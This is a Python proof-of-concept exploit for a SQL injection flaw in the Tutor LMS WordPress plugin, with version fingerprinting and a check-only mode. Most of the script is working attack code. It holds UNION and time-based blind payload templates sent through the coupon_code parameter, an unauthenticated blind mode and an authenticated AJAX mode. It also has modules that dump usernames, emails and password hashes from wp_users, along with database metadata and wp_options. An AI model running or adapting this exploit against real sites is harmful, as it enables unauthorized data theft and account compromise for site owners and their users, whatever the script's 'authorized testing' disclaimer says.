#!/usr/bin/env python3
"""
CVE-2025-13673 — Tutor LMS <= 3.9.6 Unauthenticated SQL Injection via coupon_code

Vulnerability: SQL Injection in QueryHelper.prepare_where_clause()
Affected: Tutor LMS plugin for WordPress, all versions <= 3.9.6
Fixed: 3.9.7 (added $wpdb->prepare() in QueryHelper)
CVSS: 7.5 (High) / 9.3 (Patchstack)
CWE: CWE-89

Root cause: QueryHelper builds WHERE clauses using manual string
concatenation ("'" . $val . "'") with no escaping. In versions <= 3.9.3,
the coupon_code reaches this path completely unescaped. Versions 3.9.4-3.9.6
added esc_sql() as a partial mitigation at the CouponModel layer, but the
underlying QueryHelper remains unsafe for other parameters and models.

Version matrix:
  <= 3.9.3:     No esc_sql() — trivially exploitable (UNION + blind)
  3.9.4-3.9.6:  esc_sql() partial fix — blocks quote breakout, upgrade advised
  3.9.7+:       QueryHelper uses $wpdb->prepare() — properly fixed

Two attack vectors (on <= 3.9.3):
  1. UNAUTHENTICATED: tutor_action=tutor_pay_now via WordPress init hook.
     The nonce is available to anonymous visitors on any frontend page.
     Data extraction via time-based blind SQLi (SLEEP).
  2. AUTHENTICATED (subscriber+): wp_ajax_tutor_apply_coupon AJAX handler.
     Returns JSON with injected data — fast UNION-based extraction.
     Self-registration is typically enabled on LMS sites.

For authorized security testing and educational purposes only.
"""

import argparse
import re
import sys
import json
import time
import requests

UNION_TEMPLATE = (
    "' UNION SELECT 1,'active','code',"
    "{col1},"
    "{col2},"
    "'desc','percentage',10.00,'all_courses_and_bundles',"
    "100,5,'no_minimum',0.00,"
    "'2025-01-01 00:00:00','2030-12-31 23:59:59',"
    "'2025-01-01 00:00:00',1,'2025-01-01 00:00:00',1"
    "{from_clause}#"
)

SLEEP_TEMPLATE = (
    "' UNION SELECT SLEEP({delay}),'active','code',"
    "'t','t',"
    "'desc','percentage',10.00,'all_courses_and_bundles',"
    "100,5,'no_minimum',0.00,"
    "'2025-01-01 00:00:00','2030-12-31 23:59:59',"
    "'2025-01-01 00:00:00',1,'2025-01-01 00:00:00',1"
    "{from_clause}#"
)

BLIND_TEMPLATE = (
    "' UNION SELECT IF({condition},SLEEP({delay}),0),'active','code',"
    "'t','t',"
    "'desc','percentage',10.00,'all_courses_and_bundles',"
    "100,5,'no_minimum',0.00,"
    "'2025-01-01 00:00:00','2030-12-31 23:59:59',"
    "'2025-01-01 00:00:00',1,'2025-01-01 00:00:00',1"
    "{from_clause}#"
)


# ── Fingerprinting ──────────────────────────────────────────────────

def detect_version(session, base_url):
    """Detect Tutor LMS version from the public readme.txt."""
    try:
        resp = session.get(
            f"{base_url}/wp-content/plugins/tutor/readme.txt", timeout=10
        )
        if resp.status_code == 200:
            match = re.search(r"Stable tag:\s*(\S+)", resp.text)
            if match:
                return match.group(1)
    except requests.RequestException:
        pass
    return None


def version_tuple(v):
    """Convert '3.9.5' to (3, 9, 5) for comparison."""
    try:
        return tuple(int(x) for x in v.split("."))
    except (ValueError, AttributeError):
        return None


def assess_version(version_str):
    """Return (exploitable, mitigation_note) based on detected version."""
    vt = version_tuple(version_str)
    if vt is None:
        return None, "unknown version"
    if vt >= (3, 9, 7):
        return False, "3.9.7+ — QueryHelper uses $wpdb->prepare(). Fixed."
    if vt >= (3, 9, 4):
        return "partial", (
            f"{version_str} — esc_sql() partial mitigation present at CouponModel layer. "
            "Quote breakout blocked. Underlying QueryHelper still uses raw concatenation. "
            "Upgrade to 3.9.7+ recommended."
        )
    return True, f"{version_str} — no esc_sql(). Directly exploitable."


# ── Session helpers ─────────────────────────────────────────────────

def get_nonce(session, base_url):
    """Extract _tutor_nonce from any frontend page."""
    for path in ["/", "/courses/"]:
        try:
            page = session.get(f"{base_url}{path}", timeout=10).text
            match = re.search(r'"_tutor_nonce":"([^"]+)"', page)
            if match:
                return match.group(1)
        except requests.RequestException:
            continue
    print("[-] Could not find _tutor_nonce — is Tutor LMS active?")
    sys.exit(1)


def get_anon_session(base_url):
    """Create an anonymous (unauthenticated) session with nonce."""
    s = requests.Session()
    nonce = get_nonce(s, base_url)
    print(f"[+] Anonymous session, nonce: {nonce}")
    return s, nonce


def get_auth_session(base_url, username, password):
    """Login and return session with cookies + nonce."""
    s = requests.Session()
    s.cookies.set("wordpress_test_cookie", "WP+Cookie+check")
    login_data = {
        "log": username,
        "pwd": password,
        "wp-submit": "Log In",
        "redirect_to": "/",
        "testcookie": "1",
    }
    resp = s.post(f"{base_url}/wp-login.php", data=login_data, allow_redirects=False)
    if resp.status_code not in (302, 200):
        print(f"[-] Login failed: HTTP {resp.status_code}")
        sys.exit(1)

    nonce = get_nonce(s, base_url)
    print(f"[+] Logged in as {username}, nonce: {nonce}")
    return s, nonce


# ── Authenticated mode: UNION-based (fast) ──────────────────────────

def inject_union(session, base_url, nonce, col1, col2, from_clause="", course_id="1"):
    """Send UNION-based injection via AJAX and parse JSON response."""
    payload = UNION_TEMPLATE.format(col1=col1, col2=col2, from_clause=from_clause)
    data = {
        "action": "tutor_apply_coupon",
        "_tutor_nonce": nonce,
        "object_ids": course_id,
        "coupon_code": payload,
    }
    resp = session.post(f"{base_url}/wp-admin/admin-ajax.php", data=data)
    text = resp.text
    if "<div id=\"error\">" in text:
        text = text.split("</div>", 1)[-1] if "</div>" in text else text
    try:
        result = json.loads(text)
    except json.JSONDecodeError:
        return None, None
    if result.get("status_code") != 200:
        return None, None
    d = result.get("data", {})
    return d.get("coupon_code", ""), d.get("coupon_title", "")


def find_course_id(session, base_url, nonce):
    for cid in range(1, 30):
        v1, _ = inject_union(session, base_url, nonce, "'test'", "'test'", course_id=str(cid))
        if v1 is not None:
            return str(cid)
    return None


# ── Unauthenticated mode: time-based blind ──────────────────────────

def inject_sleep(session, base_url, nonce, delay, course_id="1"):
    """Send a plain SLEEP probe via the tutor_action dispatcher.
    Returns the elapsed time."""
    payload = SLEEP_TEMPLATE.format(delay=delay, from_clause="")
    data = {
        "tutor_action": "tutor_pay_now",
        "_tutor_nonce": nonce,
        "object_ids": course_id,
        "payment_method": "free",
        "payment_type": "manual",
        "order_type": "single_order",
        "coupon_code": payload,
    }
    start = time.time()
    session.post(f"{base_url}/", data=data, allow_redirects=False)
    return time.time() - start


def inject_timed(session, base_url, nonce, condition, from_clause="",
                 delay=2, threshold=1.5, course_id="1"):
    """Send time-based blind injection via tutor_action dispatcher.
    Returns True if the condition was true (response delayed)."""
    payload = BLIND_TEMPLATE.format(
        condition=condition, delay=delay, from_clause=from_clause,
    )
    data = {
        "tutor_action": "tutor_pay_now",
        "_tutor_nonce": nonce,
        "object_ids": course_id,
        "payment_method": "free",
        "payment_type": "manual",
        "order_type": "single_order",
        "coupon_code": payload,
    }
    start = time.time()
    session.post(f"{base_url}/", data=data, allow_redirects=False)
    elapsed = time.time() - start
    return elapsed >= threshold


def blind_extract_char(session, base_url, nonce, expr, pos, from_clause="",
                       delay=2, course_id="1"):
    """Extract one character at position `pos` from `expr` via binary search."""
    lo, hi = 32, 126
    while lo < hi:
        mid = (lo + hi) // 2
        cond = f"ORD(SUBSTRING(({expr}),{pos},1))>{mid}"
        if inject_timed(session, base_url, nonce, cond, from_clause,
                        delay=delay, course_id=course_id):
            lo = mid + 1
        else:
            hi = mid
    if lo == 32:
        return None
    return chr(lo)


def blind_extract_string(session, base_url, nonce, expr, from_clause="",
                         max_len=80, delay=2, course_id="1"):
    """Extract a full string character by character."""
    result = []
    for pos in range(1, max_len + 1):
        ch = blind_extract_char(session, base_url, nonce, expr, pos,
                                from_clause, delay, course_id)
        if ch is None:
            break
        result.append(ch)
        sys.stdout.write(ch)
        sys.stdout.flush()
    sys.stdout.write("\n")
    return "".join(result)


# ── Extraction modules ──────────────────────────────────────────────

def extract_credentials_union(session, base_url, nonce, course_id):
    print("\n[*] Extracting user credentials (UNION mode)...")
    count_val, _ = inject_union(session, base_url, nonce,
                                "CAST(COUNT(*) AS CHAR)", "'c'",
                                " FROM wp_users", course_id)
    total = int(count_val) if count_val else 10
    print(f"[+] Found {total} user(s)")

    for uid in range(1, total + 5):
        v1, v2 = inject_union(session, base_url, nonce,
                              "CONCAT(user_login,0x3a,user_email)", "user_pass",
                              f" FROM wp_users WHERE ID={uid}", course_id)
        if v1 is None:
            continue
        parts = v1.split(":", 1)
        print(f"  [ID={uid}] {parts[0]} | {parts[1] if len(parts)>1 else '?'} | {v2}")
        if uid >= total + 4:
            break


def extract_credentials_blind(session, base_url, nonce, course_id, delay):
    print("\n[*] Extracting admin credentials (blind mode — slow)...")
    print("  [*] admin username: ", end="", flush=True)
    blind_extract_string(session, base_url, nonce,
                         "SELECT user_login FROM wp_users WHERE ID=1", "",
                         max_len=40, delay=delay, course_id=course_id)
    print("  [*] admin email: ", end="", flush=True)
    blind_extract_string(session, base_url, nonce,
                         "SELECT user_email FROM wp_users WHERE ID=1", "",
                         max_len=60, delay=delay, course_id=course_id)
    print("  [*] admin pass hash: ", end="", flush=True)
    blind_extract_string(session, base_url, nonce,
                         "SELECT user_pass FROM wp_users WHERE ID=1", "",
                         max_len=40, delay=delay, course_id=course_id)


def extract_db_info_union(session, base_url, nonce, course_id):
    print("\n[*] Extracting database information...")
    v1, v2 = inject_union(session, base_url, nonce, "version()", "user()",
                          course_id=course_id)
    if v1:
        print(f"  MySQL version: {v1}")
        print(f"  DB user: {v2}")
    v1, v2 = inject_union(session, base_url, nonce, "@@hostname", "database()",
                          course_id=course_id)
    if v1:
        print(f"  Hostname: {v1}")
        print(f"  Database: {v2}")


def extract_db_info_blind(session, base_url, nonce, course_id, delay):
    print("\n[*] Extracting database info (blind)...")
    print("  [*] version: ", end="", flush=True)
    blind_extract_string(session, base_url, nonce, "SELECT version()", "",
                         max_len=30, delay=delay, course_id=course_id)
    print("  [*] database: ", end="", flush=True)
    blind_extract_string(session, base_url, nonce, "SELECT database()", "",
                         max_len=30, delay=delay, course_id=course_id)


def extract_options_union(session, base_url, nonce, course_id):
    print("\n[*] Extracting WordPress options...")
    for key in ["siteurl", "blogname", "admin_email", "template",
                "active_plugins", "db_version"]:
        hex_key = "0x" + key.encode().hex()
        v1, _ = inject_union(session, base_url, nonce,
                             "option_value", "option_name",
                             f" FROM wp_options WHERE option_name={hex_key}",
                             course_id)
        if v1:
            print(f"  {key}: {v1[:80]}{'...' if len(v1)>80 else ''}")


# ── Main ────────────────────────────────────────────────────────────

def main():
    parser = argparse.ArgumentParser(
        description="CVE-2025-13673 Tutor LMS SQL Injection PoC",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="""
Modes:
  Default (no -u/-p):  Unauthenticated time-based blind SQLi
  With -u/-p:          Authenticated UNION-based (fast, full extraction)

Examples:
  %(prog)s http://target.com                          # unauth blind
  %(prog)s http://target.com -u student -p pass --all # auth UNION
  %(prog)s http://target.com --check-only             # version check only
""",
    )
    parser.add_argument("url", help="WordPress base URL")
    parser.add_argument("-u", "--username", default=None, help="WP username (enables UNION mode)")
    parser.add_argument("-p", "--password", default=None, help="WP password")
    parser.add_argument("--course-id", default=None, help="Course ID (auto-detected)")
    parser.add_argument("--dump-users", action="store_true", help="Extract user credentials")
    parser.add_argument("--db-info", action="store_true", help="Extract DB metadata")
    parser.add_argument("--options", action="store_true", help="Extract wp_options")
    parser.add_argument("--all", action="store_true", help="Run all modules")
    parser.add_argument("--delay", type=float, default=2, help="SLEEP delay for blind mode (default: 2)")
    parser.add_argument("--check-only", action="store_true",
                        help="Fingerprint version and assess exploitability, no exploitation")

    args = parser.parse_args()
    base_url = args.url.rstrip("/")
    authenticated = args.username is not None

    print("[*] CVE-2025-13673 — Tutor LMS SQL Injection PoC")
    print(f"[*] Target: {base_url}")

    # ── Version fingerprinting ──
    session = requests.Session()
    version = detect_version(session, base_url)
    if version:
        exploitable, note = assess_version(version)
        print(f"[*] Detected Tutor LMS version: {version}")

        if exploitable is False:
            print(f"[+] NOT VULNERABLE: {note}")
            sys.exit(0)
        elif exploitable == "partial":
            print(f"[!] PARTIALLY MITIGATED: {note}")
            if args.check_only:
                print("")
                print("    Detail: esc_sql() escapes single quotes (\\'), preventing")
                print("    the UNION/SLEEP payloads from breaking out of the SQL string.")
                print("    The underlying QueryHelper still builds queries with raw")
                print("    concatenation (\"'\" . $val . \"'\"), which is the root cause.")
                print("")
                print("    Exploitation requires <= 3.9.3 (no esc_sql).")
                print("    However, the code remains fragile — upgrade to 3.9.7+.")
                sys.exit(0)
            print("[*] Proceeding with exploitation attempt anyway...")
        else:
            print(f"[+] VULNERABLE: {note}")
    else:
        print("[*] Could not detect version (readme.txt not accessible)")

    if args.check_only:
        print("[*] --check-only: skipping exploitation.")
        sys.exit(0)

    # ── Session setup ──
    print(f"[*] Mode: {'UNION (authenticated)' if authenticated else 'Blind (unauthenticated)'}")

    if authenticated:
        session, nonce = get_auth_session(base_url, args.username, args.password)
    else:
        session, nonce = get_anon_session(base_url)

    course_id = args.course_id or "1"

    # ── Verify injection ──
    if authenticated:
        if not args.course_id:
            print("[*] Auto-detecting course ID...")
            course_id = find_course_id(session, base_url, nonce)
            if not course_id:
                print("[-] No valid course found — specify --course-id")
                sys.exit(1)
            print(f"[+] Using course ID: {course_id}")

        v1, _ = inject_union(session, base_url, nonce, "'SQLi-OK'", "'test'",
                             course_id=course_id)
        if v1 == "SQLi-OK":
            print("[+] SQL injection confirmed!")
        else:
            if version and version_tuple(version) and version_tuple(version) >= (3, 9, 4):
                print(f"[-] Injection blocked — esc_sql() mitigation is active on {version}")
                print("    The underlying QueryHelper vulnerability exists but the")
                print("    esc_sql() wrapper prevents quote breakout on this version.")
                print("    Exploitable on <= 3.9.3. Upgrade to 3.9.7+ to fix properly.")
            else:
                print("[-] Injection failed — target may be patched or coupon feature disabled")
            sys.exit(1)
    else:
        print(f"[*] Verifying injection with SLEEP({args.delay})...")
        elapsed = inject_sleep(session, base_url, nonce, args.delay, course_id)
        if elapsed >= args.delay * 0.7:
            print(f"[+] SQL injection confirmed! (response: {elapsed:.1f}s vs expected {args.delay}s)")
        else:
            if version and version_tuple(version) and version_tuple(version) >= (3, 9, 4):
                print(f"[-] No delay ({elapsed:.1f}s) — esc_sql() mitigation active on {version}")
                print("    esc_sql() escapes quotes, preventing UNION/SLEEP breakout.")
                print("    Exploitable on <= 3.9.3. Upgrade to 3.9.7+ to fix properly.")
            else:
                print(f"[-] No delay detected ({elapsed:.1f}s) — target may be patched")
            sys.exit(1)

    # ── Extract data ──
    run_all = not any([args.dump_users, args.db_info, args.options])

    if authenticated:
        if args.all or run_all or args.dump_users:
            extract_credentials_union(session, base_url, nonce, course_id)
        if args.all or run_all or args.db_info:
            extract_db_info_union(session, base_url, nonce, course_id)
        if args.all or args.options:
            extract_options_union(session, base_url, nonce, course_id)
    else:
        if args.all or run_all or args.dump_users:
            extract_credentials_blind(session, base_url, nonce, course_id, args.delay)
        if args.all or run_all or args.db_info:
            extract_db_info_blind(session, base_url, nonce, course_id, args.delay)

    print("\n[+] Done.")


if __name__ == "__main__":
    main()